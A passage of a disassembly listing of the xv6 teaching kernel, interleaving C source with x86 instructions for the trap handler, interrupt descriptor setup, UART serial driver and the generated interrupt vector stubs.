801051d5: 88 14 c5 a5 4d 11 80 mov %dl,-0x7feeb25b(,%eax,8)
801051dc: c1 e9 10 shr $0x10,%ecx
801051df: 66 89 0c c5 a6 4d 11 mov %cx,-0x7feeb25a(,%eax,8)
801051e6: 80
for(i = 0; i < 256; i++)
801051e7: 83 c0 01 add $0x1,%eax
801051ea: eb ad jmp 80105199 <tvinit+0xf>
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
801051ec: 8b 15 08 a1 10 80 mov 0x8010a108,%edx
801051f2: 66 89 15 a0 4f 11 80 mov %dx,0x80114fa0
801051f9: 66 c7 05 a2 4f 11 80 movw $0x8,0x80114fa2
80105200: 08 00
80105202: c6 05 a4 4f 11 80 00 movb $0x0,0x80114fa4
80105209: 0f b6 05 a5 4f 11 80 movzbl 0x80114fa5,%eax
80105210: 83 c8 0f or $0xf,%eax
80105213: 83 e0 ef and $0xffffffef,%eax
80105216: 83 c8 e0 or $0xffffffe0,%eax
80105219: a2 a5 4f 11 80 mov %al,0x80114fa5
8010521e: c1 ea 10 shr $0x10,%edx
80105221: 66 89 15 a6 4f 11 80 mov %dx,0x80114fa6
initlock(&tickslock, "time");
80105228: 83 ec 08 sub $0x8,%esp
8010522b: 68 81 70 10 80 push $0x80107081
80105230: 68 60 4d 11 80 push $0x80114d60
80105235: e8 8f eb ff ff call 80103dc9 <initlock>
}
8010523a: 83 c4 10 add $0x10,%esp
8010523d: c9 leave
8010523e: c3 ret
8010523f <idtinit>:
void
idtinit(void)
{
8010523f: f3 0f 1e fb endbr32
80105243: 55 push %ebp
80105244: 89 e5 mov %esp,%ebp
80105246: 83 ec 10 sub $0x10,%esp
pd[0] = size-1;
80105249: 66 c7 45 fa ff 07 movw $0x7ff,-0x6(%ebp)
pd[1] = (uint)p;
8010524f: b8 a0 4d 11 80 mov $0x80114da0,%eax
80105254: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80105258: c1 e8 10 shr $0x10,%eax
8010525b: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
8010525f: 8d 45 fa lea -0x6(%ebp),%eax
80105262: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
80105265: c9 leave
80105266: c3 ret
80105267 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
80105267: f3 0f 1e fb endbr32
8010526b: 55 push %ebp
8010526c: 89 e5 mov %esp,%ebp
8010526e: 57 push %edi
8010526f: 56 push %esi
80105270: 53 push %ebx
80105271: 83 ec 1c sub $0x1c,%esp
80105274: 8b 5d 08 mov 0x8(%ebp),%ebx
if(tf->trapno == T_SYSCALL){
80105277: 8b 43 30 mov 0x30(%ebx),%eax
8010527a: 83 f8 40 cmp $0x40,%eax
8010527d: 74 14 je 80105293 <trap+0x2c>
if(myproc()->killed)
exit();
return;
}
switch(tf->trapno){
8010527f: 83 e8 20 sub $0x20,%eax
80105282: 83 f8 1f cmp $0x1f,%eax
80105285: 0f 87 3b 01 00 00 ja 801053c6 <trap+0x15f>
8010528b: 3e ff 24 85 28 71 10 notrack jmp *-0x7fef8ed8(,%eax,4)
80105292: 80
if(myproc()->killed)
80105293: e8 2d e0 ff ff call 801032c5 <myproc>
80105298: 83 78 24 00 cmpl $0x0,0x24(%eax)
8010529c: 75 1f jne 801052bd <trap+0x56>
myproc()->tf = tf;
8010529e: e8 22 e0 ff ff call 801032c5 <myproc>
801052a3: 89 58 18 mov %ebx,0x18(%eax)
syscall();
801052a6: e8 67 f0 ff ff call 80104312 <syscall>
if(myproc()->killed)
801052ab: e8 15 e0 ff ff call 801032c5 <myproc>
801052b0: 83 78 24 00 cmpl $0x0,0x24(%eax)
801052b4: 74 7e je 80105334 <trap+0xcd>
exit();
801052b6: e8 46 e5 ff ff call 80103801 <exit>
return;
801052bb: eb 77 jmp 80105334 <trap+0xcd>
exit();
801052bd: e8 3f e5 ff ff call 80103801 <exit>
801052c2: eb da jmp 8010529e <trap+0x37>
case T_IRQ0 + IRQ_TIMER:
if(cpuid() == 0){
801052c4: e8 dd df ff ff call 801032a6 <cpuid>
801052c9: 85 c0 test %eax,%eax
801052cb: 74 6f je 8010533c <trap+0xd5>
acquire(&tickslock);
ticks++;
wakeup(&ticks);
release(&tickslock);
}
lapiceoi();
801052cd: e8 61 d1 ff ff call 80102433 <lapiceoi>
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
801052d2: e8 ee df ff ff call 801032c5 <myproc>
801052d7: 85 c0 test %eax,%eax
801052d9: 74 1c je 801052f7 <trap+0x90>
801052db: e8 e5 df ff ff call 801032c5 <myproc>
801052e0: 83 78 24 00 cmpl $0x0,0x24(%eax)
801052e4: 74 11 je 801052f7 <trap+0x90>
801052e6: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
801052ea: 83 e0 03 and $0x3,%eax
801052ed: 66 83 f8 03 cmp $0x3,%ax
801052f1: 0f 84 62 01 00 00 je 80105459 <trap+0x1f2>
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(myproc() && myproc()->state == RUNNING &&
801052f7: e8 c9 df ff ff call 801032c5 <myproc>
801052fc: 85 c0 test %eax,%eax
801052fe: 74 0f je 8010530f <trap+0xa8>
80105300: e8 c0 df ff ff call 801032c5 <myproc>
80105305: 83 78 0c 04 cmpl $0x4,0xc(%eax)
80105309: 0f 84 54 01 00 00 je 80105463 <trap+0x1fc>
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
8010530f: e8 b1 df ff ff call 801032c5 <myproc>
80105314: 85 c0 test %eax,%eax
80105316: 74 1c je 80105334 <trap+0xcd>
80105318: e8 a8 df ff ff call 801032c5 <myproc>
8010531d: 83 78 24 00 cmpl $0x0,0x24(%eax)
80105321: 74 11 je 80105334 <trap+0xcd>
80105323: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
80105327: 83 e0 03 and $0x3,%eax
8010532a: 66 83 f8 03 cmp $0x3,%ax
8010532e: 0f 84 43 01 00 00 je 80105477 <trap+0x210>
exit();
}
80105334: 8d 65 f4 lea -0xc(%ebp),%esp
80105337: 5b pop %ebx
80105338: 5e pop %esi
80105339: 5f pop %edi
8010533a: 5d pop %ebp
8010533b: c3 ret
acquire(&tickslock);
8010533c: 83 ec 0c sub $0xc,%esp
8010533f: 68 60 4d 11 80 push $0x80114d60
80105344: e8 d0 eb ff ff call 80103f19 <acquire>
ticks++;
80105349: 83 05 a0 55 11 80 01 addl $0x1,0x801155a0
wakeup(&ticks);
80105350: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp)
80105357: e8 f7 e7 ff ff call 80103b53 <wakeup>
release(&tickslock);
8010535c: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
80105363: e8 1a ec ff ff call 80103f82 <release>
80105368: 83 c4 10 add $0x10,%esp
8010536b: e9 5d ff ff ff jmp 801052cd <trap+0x66>
ideintr();
80105370: e8 77 ca ff ff call 80101dec <ideintr>
lapiceoi();
80105375: e8 b9 d0 ff ff call 80102433 <lapiceoi>
break;
8010537a: e9 53 ff ff ff jmp 801052d2 <trap+0x6b>
kbdintr();
8010537f: e8 ec ce ff ff call 80102270 <kbdintr>
lapiceoi();
80105384: e8 aa d0 ff ff call 80102433 <lapiceoi>
break;
80105389: e9 44 ff ff ff jmp 801052d2 <trap+0x6b>
uartintr();
8010538e: e8 0a 02 00 00 call 8010559d <uartintr>
lapiceoi();
80105393: e8 9b d0 ff ff call 80102433 <lapiceoi>
break;
80105398: e9 35 ff ff ff jmp 801052d2 <trap+0x6b>
cprintf("cpu%d: spurious interrupt at %x:%x\n",
8010539d: 8b 7b 38 mov 0x38(%ebx),%edi
cpuid(), tf->cs, tf->eip);
801053a0: 0f b7 73 3c movzwl 0x3c(%ebx),%esi
cprintf("cpu%d: spurious interrupt at %x:%x\n",
801053a4: e8 fd de ff ff call 801032a6 <cpuid>
801053a9: 57 push %edi
801053aa: 0f b7 f6 movzwl %si,%esi
801053ad: 56 push %esi
801053ae: 50 push %eax
801053af: 68 8c 70 10 80 push $0x8010708c
801053b4: e8 70 b2 ff ff call 80100629 <cprintf>
lapiceoi();
801053b9: e8 75 d0 ff ff call 80102433 <lapiceoi>
break;
801053be: 83 c4 10 add $0x10,%esp
801053c1: e9 0c ff ff ff jmp 801052d2 <trap+0x6b>
if(myproc() == 0 || (tf->cs&3) == 0){
801053c6: e8 fa de ff ff call 801032c5 <myproc>
801053cb: 85 c0 test %eax,%eax
801053cd: 74 5f je 8010542e <trap+0x1c7>
801053cf: f6 43 3c 03 testb $0x3,0x3c(%ebx)
801053d3: 74 59 je 8010542e <trap+0x1c7>
static inline uint
rcr2(void)
{
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
801053d5: 0f 20 d7 mov %cr2,%edi
cprintf("pid %d %s: trap %d err %d on cpu %d "
801053d8: 8b 43 38 mov 0x38(%ebx),%eax
801053db: 89 45 e4 mov %eax,-0x1c(%ebp)
801053de: e8 c3 de ff ff call 801032a6 <cpuid>
801053e3: 89 45 e0 mov %eax,-0x20(%ebp)
801053e6: 8b 53 34 mov 0x34(%ebx),%edx
801053e9: 89 55 dc mov %edx,-0x24(%ebp)
801053ec: 8b 73 30 mov 0x30(%ebx),%esi
myproc()->pid, myproc()->name, tf->trapno,
801053ef: e8 d1 de ff ff call 801032c5 <myproc>
801053f4: 8d 48 6c lea 0x6c(%eax),%ecx
801053f7: 89 4d d8 mov %ecx,-0x28(%ebp)
801053fa: e8 c6 de ff ff call 801032c5 <myproc>
cprintf("pid %d %s: trap %d err %d on cpu %d "
801053ff: 57 push %edi
80105400: ff 75 e4 pushl -0x1c(%ebp)
80105403: ff 75 e0 pushl -0x20(%ebp)
80105406: ff 75 dc pushl -0x24(%ebp)
80105409: 56 push %esi
8010540a: ff 75 d8 pushl -0x28(%ebp)
8010540d: ff 70 10 pushl 0x10(%eax)
80105410: 68 e4 70 10 80 push $0x801070e4
80105415: e8 0f b2 ff ff call 80100629 <cprintf>
myproc()->killed = 1;
8010541a: 83 c4 20 add $0x20,%esp
8010541d: e8 a3 de ff ff call 801032c5 <myproc>
80105422: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
80105429: e9 a4 fe ff ff jmp 801052d2 <trap+0x6b>
8010542e: 0f 20 d7 mov %cr2,%edi
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80105431: 8b 73 38 mov 0x38(%ebx),%esi
80105434: e8 6d de ff ff call 801032a6 <cpuid>
80105439: 83 ec 0c sub $0xc,%esp
8010543c: 57 push %edi
8010543d: 56 push %esi
8010543e: 50 push %eax
8010543f: ff 73 30 pushl 0x30(%ebx)
80105442: 68 b0 70 10 80 push $0x801070b0
80105447: e8 dd b1 ff ff call 80100629 <cprintf>
panic("trap");
8010544c: 83 c4 14 add $0x14,%esp
8010544f: 68 86 70 10 80 push $0x80107086
80105454: e8 03 af ff ff call 8010035c <panic>
exit();
80105459: e8 a3 e3 ff ff call 80103801 <exit>
8010545e: e9 94 fe ff ff jmp 801052f7 <trap+0x90>
if(myproc() && myproc()->state == RUNNING &&
80105463: 83 7b 30 20 cmpl $0x20,0x30(%ebx)
80105467: 0f 85 a2 fe ff ff jne 8010530f <trap+0xa8>
yield();
8010546d: e8 59 e4 ff ff call 801038cb <yield>
80105472: e9 98 fe ff ff jmp 8010530f <trap+0xa8>
exit();
80105477: e8 85 e3 ff ff call 80103801 <exit>
8010547c: e9 b3 fe ff ff jmp 80105334 <trap+0xcd>
80105481 <uartgetc>:
outb(COM1+0, c);
}
static int
uartgetc(void)
{
80105481: f3 0f 1e fb endbr32
if(!uart)
80105485: 83 3d bc a5 10 80 00 cmpl $0x0,0x8010a5bc
8010548c: 74 14 je 801054a2 <uartgetc+0x21>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010548e: ba fd 03 00 00 mov $0x3fd,%edx
80105493: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
80105494: a8 01 test $0x1,%al
80105496: 74 10 je 801054a8 <uartgetc+0x27>
80105498: ba f8 03 00 00 mov $0x3f8,%edx
8010549d: ec in (%dx),%al
return -1;
return inb(COM1+0);
8010549e: 0f b6 c0 movzbl %al,%eax
801054a1: c3 ret
return -1;
801054a2: b8 ff ff ff ff mov $0xffffffff,%eax
801054a7: c3 ret
return -1;
801054a8: b8 ff ff ff ff mov $0xffffffff,%eax
}
801054ad: c3 ret
801054ae <uartputc>:
{
801054ae: f3 0f 1e fb endbr32
if(!uart)
801054b2: 83 3d bc a5 10 80 00 cmpl $0x0,0x8010a5bc
801054b9: 74 3b je 801054f6 <uartputc+0x48>
{
801054bb: 55 push %ebp
801054bc: 89 e5 mov %esp,%ebp
801054be: 53 push %ebx
801054bf: 83 ec 04 sub $0x4,%esp
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
801054c2: bb 00 00 00 00 mov $0x0,%ebx
801054c7: 83 fb 7f cmp $0x7f,%ebx
801054ca: 7f 1c jg 801054e8 <uartputc+0x3a>
801054cc: ba fd 03 00 00 mov $0x3fd,%edx
801054d1: ec in (%dx),%al
801054d2: a8 20 test $0x20,%al
801054d4: 75 12 jne 801054e8 <uartputc+0x3a>
microdelay(10);
801054d6: 83 ec 0c sub $0xc,%esp
801054d9: 6a 0a push $0xa
801054db: e8 78 cf ff ff call 80102458 <microdelay>
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
801054e0: 83 c3 01 add $0x1,%ebx
801054e3: 83 c4 10 add $0x10,%esp
801054e6: eb df jmp 801054c7 <uartputc+0x19>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801054e8: 8b 45 08 mov 0x8(%ebp),%eax
801054eb: ba f8 03 00 00 mov $0x3f8,%edx
801054f0: ee out %al,(%dx)
}
801054f1: 8b 5d fc mov -0x4(%ebp),%ebx
801054f4: c9 leave
801054f5: c3 ret
801054f6: c3 ret
801054f7 <uartinit>:
{
801054f7: f3 0f 1e fb endbr32
801054fb: 55 push %ebp
801054fc: 89 e5 mov %esp,%ebp
801054fe: 56 push %esi
801054ff: 53 push %ebx
80105500: b9 00 00 00 00 mov $0x0,%ecx
80105505: ba fa 03 00 00 mov $0x3fa,%edx
8010550a: 89 c8 mov %ecx,%eax
8010550c: ee out %al,(%dx)
8010550d: be fb 03 00 00 mov $0x3fb,%esi
80105512: b8 80 ff ff ff mov $0xffffff80,%eax
80105517: 89 f2 mov %esi,%edx
80105519: ee out %al,(%dx)
8010551a: b8 0c 00 00 00 mov $0xc,%eax
8010551f: ba f8 03 00 00 mov $0x3f8,%edx
80105524: ee out %al,(%dx)
80105525: bb f9 03 00 00 mov $0x3f9,%ebx
8010552a: 89 c8 mov %ecx,%eax
8010552c: 89 da mov %ebx,%edx
8010552e: ee out %al,(%dx)
8010552f: b8 03 00 00 00 mov $0x3,%eax
80105534: 89 f2 mov %esi,%edx
80105536: ee out %al,(%dx)
80105537: ba fc 03 00 00 mov $0x3fc,%edx
8010553c: 89 c8 mov %ecx,%eax
8010553e: ee out %al,(%dx)
8010553f: b8 01 00 00 00 mov $0x1,%eax
80105544: 89 da mov %ebx,%edx
80105546: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105547: ba fd 03 00 00 mov $0x3fd,%edx
8010554c: ec in (%dx),%al
if(inb(COM1+5) == 0xFF)
8010554d: 3c ff cmp $0xff,%al
8010554f: 74 45 je 80105596 <uartinit+0x9f>
uart = 1;
80105551: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc
80105558: 00 00 00
8010555b: ba fa 03 00 00 mov $0x3fa,%edx
80105560: ec in (%dx),%al
80105561: ba f8 03 00 00 mov $0x3f8,%edx
80105566: ec in (%dx),%al
ioapicenable(IRQ_COM1, 0);
80105567: 83 ec 08 sub $0x8,%esp
8010556a: 6a 00 push $0x0
8010556c: 6a 04 push $0x4
8010556e: e8 88 ca ff ff call 80101ffb <ioapicenable>
for(p="xv6...\n"; *p; p++)
80105573: 83 c4 10 add $0x10,%esp
80105576: bb a8 71 10 80 mov $0x801071a8,%ebx
8010557b: eb 12 jmp 8010558f <uartinit+0x98>
uartputc(*p);
8010557d: 83 ec 0c sub $0xc,%esp
80105580: 0f be c0 movsbl %al,%eax
80105583: 50 push %eax
80105584: e8 25 ff ff ff call 801054ae <uartputc>
for(p="xv6...\n"; *p; p++)
80105589: 83 c3 01 add $0x1,%ebx
8010558c: 83 c4 10 add $0x10,%esp
8010558f: 0f b6 03 movzbl (%ebx),%eax
80105592: 84 c0 test %al,%al
80105594: 75 e7 jne 8010557d <uartinit+0x86>
}
80105596: 8d 65 f8 lea -0x8(%ebp),%esp
80105599: 5b pop %ebx
8010559a: 5e pop %esi
8010559b: 5d pop %ebp
8010559c: c3 ret
8010559d <uartintr>:
void
uartintr(void)
{
8010559d: f3 0f 1e fb endbr32
801055a1: 55 push %ebp
801055a2: 89 e5 mov %esp,%ebp
801055a4: 83 ec 14 sub $0x14,%esp
consoleintr(uartgetc);
801055a7: 68 81 54 10 80 push $0x80105481
801055ac: e8 a8 b1 ff ff call 80100759 <consoleintr>
}
801055b1: 83 c4 10 add $0x10,%esp
801055b4: c9 leave
801055b5: c3 ret
801055b6 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
801055b6: 6a 00 push $0x0
pushl $0
801055b8: 6a 00 push $0x0
jmp alltraps
801055ba: e9 a8 fb ff ff jmp 80105167 <alltraps>
801055bf <vector1>:
.globl vector1
vector1:
pushl $0
801055bf: 6a 00 push $0x0
pushl $1
801055c1: 6a 01 push $0x1
jmp alltraps
801055c3: e9 9f fb ff ff jmp 80105167 <alltraps>
801055c8 <vector2>:
.globl vector2
vector2:
pushl $0
801055c8: 6a 00 push $0x0
pushl $2
801055ca: 6a 02 push $0x2
jmp alltraps
801055cc: e9 96 fb ff ff jmp 80105167 <alltraps>
801055d1 <vector3>:
.globl vector3
vector3:
pushl $0
801055d1: 6a 00 push $0x0
pushl $3
801055d3: 6a 03 push $0x3
jmp alltraps
801055d5: e9 8d fb ff ff jmp 80105167 <alltraps>
801055da <vector4>:
.globl vector4
vector4:
pushl $0
801055da: 6a 00 push $0x0
pushl $4
801055dc: 6a 04 push $0x4
jmp alltraps
801055de: e9 84 fb ff ff jmp 80105167 <alltraps>
801055e3 <vector5>:
.globl vector5
vector5:
pushl $0
801055e3: 6a 00 push $0x0
pushl $5
801055e5: 6a 05 push $0x5
jmp alltraps
801055e7: e9 7b fb ff ff jmp 80105167 <alltraps>
801055ec <vector6>:
.globl vector6
vector6:
pushl $0
801055ec: 6a 00 push $0x0
pushl $6
801055ee: 6a 06 push $0x6
jmp alltraps
801055f0: e9 72 fb ff ff jmp 80105167 <alltraps>
801055f5 <vector7>:
.globl vector7
vector7:
pushl $0
801055f5: 6a 00 push $0x0
pushl $7
801055f7: 6a 07 push $0x7
jmp alltraps
801055f9: e9 69 fb ff ff jmp 80105167 <alltraps>
801055fe <vector8>:
.globl vector8
vector8:
pushl $8
801055fe: 6a 08 push $0x8
jmp alltraps
80105600: e9 62 fb ff ff jmp 80105167 <alltraps>
80105605 <vector9>:
.globl vector9
vector9:
pushl $0
80105605: 6a 00 push $0x0
pushl $9
80105607: 6a 09 push $0x9
jmp alltraps
80105609: e9 59 fb ff ff jmp 80105167 <alltraps>
8010560e <vector10>:
.globl vector10
vector10:
pushl $10
8010560e: 6a 0a push $0xa
jmp alltraps
80105610: e9 52 fb ff ff jmp 80105167 <alltraps>
80105615 <vector11>:
.globl vector11
vector11:
pushl $11
80105615: 6a 0b push $0xb
jmp alltraps
80105617: e9 4b fb ff ff jmp 80105167 <alltraps>
8010561c <vector12>:
.globl vector12
vector12:
pushl $12
8010561c: 6a 0c push $0xc
jmp alltraps
8010561e: e9 44 fb ff ff jmp 80105167 <alltraps>
80105623 <vector13>:
.globl vector13
vector13:
pushl $13
80105623: 6a 0d push $0xd
jmp alltraps
80105625: e9 3d fb ff ff jmp 80105167 <alltraps>
8010562a <vector14>:
.globl vector14
vector14:
pushl $14
8010562a: 6a 0e push $0xe
jmp alltraps
8010562c: e9 36 fb ff ff jmp 80105167 <alltraps>
80105631 <vector15>:
.globl vector15
vector15:
pushl $0
80105631: 6a 00 push $0x0
pushl $15
80105633: 6a 0f push $0xf
jmp alltraps
80105635: e9 2d fb ff ff jmp 80105167 <alltraps>
8010563a <vector16>:
.globl vector16
vector16:
pushl $0
8010563a: 6a 00 push $0x0
pushl $16
8010563c: 6a 10 push $0x10
jmp alltraps
8010563e: e9 24 fb ff ff jmp 80105167 <alltraps>
80105643 <vector17>:
.globl vector17
vector17:
pushl $17
80105643: 6a 11 push $0x11
jmp alltraps
80105645: e9 1d fb ff ff jmp 80105167 <alltraps>
8010564a <vector18>:
.globl vector18
vector18:
pushl $0
8010564a: 6a 00 push $0x0
pushl $18
8010564c: 6a 12 push $0x12
jmp alltraps
8010564e: e9 14 fb ff ff jmp 80105167 <alltraps>
80105653 <vector19>:
.globl vector19
vector19:
pushl $0
80105653: 6a 00 push $0x0
pushl $19
80105655: 6a 13 push $0x13
jmp alltraps
80105657: e9 0b fb ff ff jmp 80105167 <alltraps>
8010565c <vector20>:
.globl vector20
vector20:
pushl $0
8010565c: 6a 00 push $0x0
pushl $20
8010565e: 6a 14 push $0x14
jmp alltraps
80105660: e9 02 fb ff ff jmp 80105167 <alltraps>
80105665 <vector21>:
.globl vector21
vector21:
pushl $0
80105665: 6a 00 push $0x0
pushl $21
80105667: 6a 15 push $0x15
jmp alltraps
80105669: e9 f9 fa ff ff jmp 80105167 <alltraps>
8010566e <vector22>:
.globl vector22
vector22:
pushl $0
8010566e: 6a 00 push $0x0
pushl $22
80105670: 6a 16 push $0x16
jmp alltraps
80105672: e9 f0 fa ff ff jmp 80105167 <alltraps>
80105677 <vector23>:
.globl vector23
vector23:
pushl $0
80105677: 6a 00 push $0x0
pushl $23
80105679: 6a 17 push $0x17
jmp alltraps
8010567b: e9 e7 fa ff ff jmp 80105167 <alltraps>
80105680 <vector24>:
.globl vector24
vector24:
pushl $0
80105680: 6a 00 push $0x0
pushl $24
80105682: 6a 18 push $0x18
jmp alltraps
80105684: e9 de fa ff ff jmp 80105167 <alltraps>
80105689 <vector25>:
.globl vector25
vector25:
pushl $0
80105689: 6a 00 push $0x0
pushl $25
8010568b: 6a 19 push $0x19
jmp alltraps
8010568d: e9 d5 fa ff ff jmp 80105167 <alltraps>
80105692 <vector26>:
.globl vector26
vector26:
pushl $0
80105692: 6a 00 push $0x0
pushl $26
80105694: 6a 1a push $0x1a
jmp alltraps
80105696: e9 cc fa ff ff jmp 80105167 <alltraps>
8010569b <vector27>:
.globl vector27
vector27:
pushl $0
8010569b: 6a 00 push $0x0
pushl $27
8010569d: 6a 1b push $0x1b
jmp alltraps
8010569f: e9 c3 fa ff ff jmp 80105167 <alltraps>
801056a4 <vector28>:
.globl vector28
vector28:
pushl $0
801056a4: 6a 00 push $0x0
pushl $28
801056a6: 6a 1c push $0x1c
jmp alltraps
801056a8: e9 ba fa ff ff jmp 80105167 <alltraps>
801056ad <vector29>:
.globl vector29
vector29:
pushl $0
801056ad: 6a 00 push $0x0
pushl $29
801056af: 6a 1d push $0x1d
jmp alltraps
801056b1: e9 b1 fa ff ff jmp 80105167 <alltraps>
801056b6 <vector30>:
.globl vector30
vector30:
pushl $0
801056b6: 6a 00 push $0x0
pushl $30
801056b8: 6a 1e push $0x1e
jmp alltraps
801056ba: e9 a8 fa ff ff jmp 80105167 <alltraps>
801056bf <vector31>:
.globl vector31
vector31:
pushl $0
801056bf: 6a 00 push $0x0
pushl $31
801056c1: 6a 1f push $0x1f
jmp alltraps
801056c3: e9 9f fa ff ff jmp 80105167 <alltraps>
801056c8 <vector32>:
.globl vector32
vector32:
pushl $0
801056c8: 6a 00 push $0x0
pushl $32
801056ca: 6a 20 push $0x20
jmp alltraps
801056cc: e9 96 fa ff ff jmp 80105167 <alltraps>
801056d1 <vector33>:
.globl vector33
vector33:
pushl $0
801056d1: 6a 00 push $0x0
pushl $33
801056d3: 6a 21 push $0x21
jmp alltraps
801056d5: e9 8d fa ff ff jmp 80105167 <alltraps>
801056da <vector34>:
.globl vector34
vector34:
pushl $0
801056da: 6a 00 push $0x0
pushl $34
801056dc: 6a 22 push $0x22
jmp alltraps
801056de: e9 84 fa ff ff jmp 80105167 <alltraps>
801056e3 <vector35>:
.globl vector35
vector35:
pushl $0
801056e3: 6a 00 push $0x0
pushl $35
801056e5: 6a 23 push $0x23
jmp alltraps
801056e7: e9 7b fa ff ff jmp 80105167 <alltraps>
801056ec <vector36>:
.globl vector36
vector36:
pushl $0
801056ec: 6a 00 push $0x0
pushl $36
801056ee: 6a 24 push $0x24
jmp alltraps
801056f0: e9 72 fa ff ff jmp 80105167 <alltraps>
801056f5 <vector37>:
.globl vector37
vector37:
pushl $0
801056f5: 6a 00 push $0x0
pushl $37
801056f7: 6a 25 push $0x25
jmp alltraps
801056f9: e9 69 fa ff ff jmp 80105167 <alltraps>
801056fe <vector38>:
.globl vector38
vector38:
pushl $0
801056fe: 6a 00 push $0x0
pushl $38
80105700: 6a 26 push $0x26
jmp alltraps
80105702: e9 60 fa ff ff jmp 80105167 <alltraps>
80105707 <vector39>:
.globl vector39
vector39:
pushl $0
80105707: 6a 00 push $0x0
pushl $39
80105709: 6a 27 push $0x27
jmp alltraps
8010570b: e9 57 fa ff ff jmp 80105167 <alltraps>
80105710 <vector40>:
.globl vector40
vector40:
pushl $0
80105710: 6a 00 push $0x0
pushl $40
80105712: 6a 28 push $0x28
jmp alltraps
80105714: e9 4e fa ff ff jmp 80105167 <alltraps>
80105719 <vector41>:
.globl vector41
vector41:
pushl $0
80105719: 6a 00 push $0x0
pushl $41
8010571b: 6a 29 push $0x29
jmp alltraps
8010571d: e9 45 fa ff ff jmp 80105167 <alltraps>
80105722 <vector42>:
.globl vector42
vector42:
pushl $0
80105722: 6a 00 push $0x0
pushl $42
80105724: 6a 2a push $0x2a
jmp alltraps
80105726: e9 3c fa ff ff jmp 80105167 <alltraps>
8010572b <vector43>:
.globl vector43
vector43:
pushl $0
8010572b: 6a 00 push $0x0
pushl $43
8010572d: 6a 2b push $0x2b
jmp alltraps
8010572f: e9 33 fa ff ff jmp 80105167 <alltraps>
80105734 <vector44>:
.globl vector44
vector44:
pushl $0
80105734: 6a 00 push $0x0
pushl $44
80105736: 6a 2c push $0x2c
jmp alltraps
80105738: e9 2a fa ff ff jmp 80105167 <alltraps>
8010573d <vector45>:
.globl vector45
vector45:
pushl $0
8010573d: 6a 00 push $0x0
pushl $45
8010573f: 6a 2d push $0x2d
jmp alltraps
80105741: e9 21 fa ff ff jmp 80105167 <alltraps>
80105746 <vector46>:
.globl vector46
vector46:
pushl $0
80105746: 6a 00 push $0x0
pushl $46
80105748: 6a 2e push $0x2e
jmp alltraps
8010574a: e9 18 fa ff ff jmp 80105167 <alltraps>
8010574f <vector47>:
.globl vector47
vector47:
pushl $0
8010574f: 6a 00 push $0x0
pushl $47
80105751: 6a 2f push $0x2f
jmp alltraps
80105753: e9 0f fa ff ff jmp 80105167 <alltraps>
80105758 <vector48>:
.globl vector48
vector48:
pushl $0
80105758: 6a 00 push $0x0
pushl $48
8010575a: 6a 30 push $0x30
jmp alltraps
8010575c: e9 06 fa ff ff jmp 80105167 <alltraps>
80105761 <vector49>:
.globl vector49
vector49:
pushl $0
80105761: 6a 00 push $0x0
pushl $49
80105763: 6a 31 push $0x31
jmp alltraps
80105765: e9 fd f9 ff ff jmp 80105167 <alltraps>
8010576a <vector50>:
.globl vector50
vector50:
pushl $0
8010576a: 6a 00 push $0x0
pushl $50
8010576c: 6a 32 push $0x32
jmp alltraps
8010576e: e9 f4 f9 ff ff jmp 80105167 <alltraps>
80105773 <vector51>:
.globl vector51
vector51:
pushl $0
80105773: 6a 00 push $0x0
pushl $51
80105775: 6a 33 push $0x33
jmp alltraps
80105777: e9 eb f9 ff ff jmp 80105167 <alltraps>
8010577c <vector52>:
.globl vector52
vector52:
pushl $0
8010577c: 6a 00 push $0x0
pushl $52
8010577e: 6a 34 push $0x34
jmp alltraps
80105780: e9 e2 f9 ff ff jmp 80105167 <alltraps>
80105785 <vector53>:
.globl vector53
vector53:
pushl $0
80105785: 6a 00 push $0x0
pushl $53
80105787: 6a 35 push $0x35
jmp alltraps
80105789: e9 d9 f9 ff ff jmp 80105167 <alltraps>
8010578e <vector54>:
.globl vector54
vector54:
pushl $0
8010578e: 6a 00 push $0x0
pushl $54
80105790: 6a 36 push $0x36
jmp alltraps
80105792: e9 d0 f9 ff ff jmp 80105167 <alltraps>
80105797 <vector55>:
.globl vector55
vector55:
pushl $0
80105797: 6a 00 push $0x0
pushl $55
80105799: 6a 37 push $0x37
jmp alltraps
8010579b: e9 c7 f9 ff ff jmp 80105167 <alltraps>
801057a0 <vector56>:
.globl vector56
vector56:
pushl $0
801057a0: 6a 00 push $0x0
pushl $56
801057a2: 6a 38 push $0x38
jmp alltraps
801057a4: e9 be f9 ff ff jmp 80105167 <alltraps>
801057a9 <vector57>:
.globl vector57
vector57:
pushl $0
801057a9: 6a 00 push $0x0
pushl $57
801057ab: 6a 39 push $0x39
jmp alltraps
801057ad: e9 b5 f9 ff ff jmp 80105167 <alltraps>
801057b2 <vector58>:
.globl vector58
vector58:
pushl $0
801057b2: 6a 00 push $0x0
